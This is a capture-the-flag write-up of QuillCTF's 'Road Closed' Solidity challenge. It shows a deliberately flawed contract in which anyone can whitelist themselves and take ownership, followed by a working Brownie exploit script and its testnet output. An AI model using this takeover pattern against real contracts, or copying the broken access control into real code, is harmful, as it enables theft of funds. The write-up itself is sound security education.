Skip to main content

QuillCTF - Road Closed

· 3 min read
Kaan Caglan

Road Closed is a Solidity CTF challenge from QuillCTF.

Solution

In this contract, there is only 1 solidity file. RoadClosed.sol. Contract is deployed on goerli test network.

Etherscan URL

To connect with this contract we can run brownie console with goerli network

kaancaglan@pop-os:~/QuillCTF/roadclosed$ brownie console --network goerli

Objective of CTF is

Become the owner of the contract
Change the value of hacked to true

We have to become the owner of the contract and also change the hacked variable to the true.

// SPDX-License-Identifier: GPL-3.0

pragma solidity 0.8.7;

contract RoadClosed {

bool hacked;
address owner;
address pwner;
mapping(address => bool) whitelistedMinters;


function isContract(address addr) public view returns (bool) {
uint size;
assembly {
size := extcodesize(addr)
}
return size > 0;
}

function isOwner() public view returns(bool){
if (msg.sender==owner) {
return true;
}
else return false;
}

constructor() {
owner = msg.sender;
}

function addToWhitelist(address addr) public {
require(msg.sender == addr, "address must be msg.sender");
require(!isContract(addr),"Contracts are not allowed");
whitelistedMinters[addr] = true;
}


function changeOwner(address addr) public {
require(whitelistedMinters[addr], "You are not whitelisted");
require(msg.sender == addr, "address must be msg.sender");
require(addr != address(0), "Zero address");
owner = addr;
}

function pwn(address addr) external payable{
require(!isContract(msg.sender), "Contracts are not allowed");
require(msg.sender == addr, "address must be msg.sender");
require (msg.sender == owner, "Must be owner");
hacked = true;
}

function pwn() external payable {
require(msg.sender == pwner);
hacked = true;
}

function isHacked() public view returns(bool) {
return hacked;
}
}

It can be seen that changeOwner function is expecting us to be in whitelistedMinters. So to became owner first we have to make us whitelisted. There is also a addToWhitelist function. Which will allow us to be whitelisted. And that function have only 2 requirement, and none of them is blocking us to be whitelisted user. So we can call that function without any problem. And after that we will be able to call changeOwner function and right after that since pwn function is expecting us to be owner we can directly call it too.

POC

#https://goerli.etherscan.io/address/0xd2372eb76c559586be0745914e9538c17878e812
from brownie import *
from brownie.network.gas.strategies import LinearScalingStrategy
from brownie.network import gas_price, Accounts
from dotenv import load_dotenv
from scripts.setup_general import console
import os

strategy = LinearScalingStrategy("6 gwei", "70 gwei", 1.1)
gas_price(strategy)
load_dotenv()
ATTACKER_PRIVATE_KEY = None


def exploit():
ATTACKER_PRIVATE_KEY = os.getenv('DEFAULT_ATTACKER_PRIVATE_KEY')
_accounts = Accounts()
_accounts.add(ATTACKER_PRIVATE_KEY)
attacker = _accounts[0]

assert attacker.balance() > 0

contr = RoadClosed.at('0xd2372eb76c559586be0745914e9538c17878e812')
console.green("Imported attacker account successfuly.")
contr.addToWhitelist(attacker, {'from': attacker})
contr.changeOwner(attacker, {'from': attacker})
contr.pwn(attacker, {'from': attacker})
console.green("Attacked. IsOwner: " + str(contr.isOwner({'from': attacker})))
console.green("Attacked. IsHacked: " + str(contr.isHacked({'from': attacker})))

You just have to add your goerli account private key into .env file

export DEFAULT_ATTACKER_PRIVATE_KEY=xyz

And the output is

>>> run('poc', 'exploit')

Running 'scripts/poc.py::exploit'...
Imported attacker account successfuly.
Transaction sent: 0xd10470517d1d022a59669220edb1091958259323ddf982178f1f7bcc31af63ab
Gas price: 6.0 gwei Gas limit: 29348 Nonce: 53
RoadClosed.addToWhitelist confirmed Block: 8180549 Gas used: 24492 (83.45%)

Transaction sent: 0xcd133bf3bf9e44aef79c3d94a9ad8dc1d4e0ee9955594f26d6d0e0995a450358
Gas price: 6.0 gwei Gas limit: 31601 Nonce: 54
RoadClosed.changeOwner confirmed Block: 8180550 Gas used: 26541 (83.99%)

Transaction sent: 0x2627c23fedb586c2e910bd6aeb0e8854bebe436380c98d32f49bcc1a31475469
Gas price: 6.0 gwei Gas limit: 29429 Nonce: 55
RoadClosed.pwn confirmed Block: 8180551 Gas used: 24566 (83.48%)

+ Attacked. IsOwner: True
+ Attacked. IsHacked: True

Etherscan value of changeAdmin request can be found here.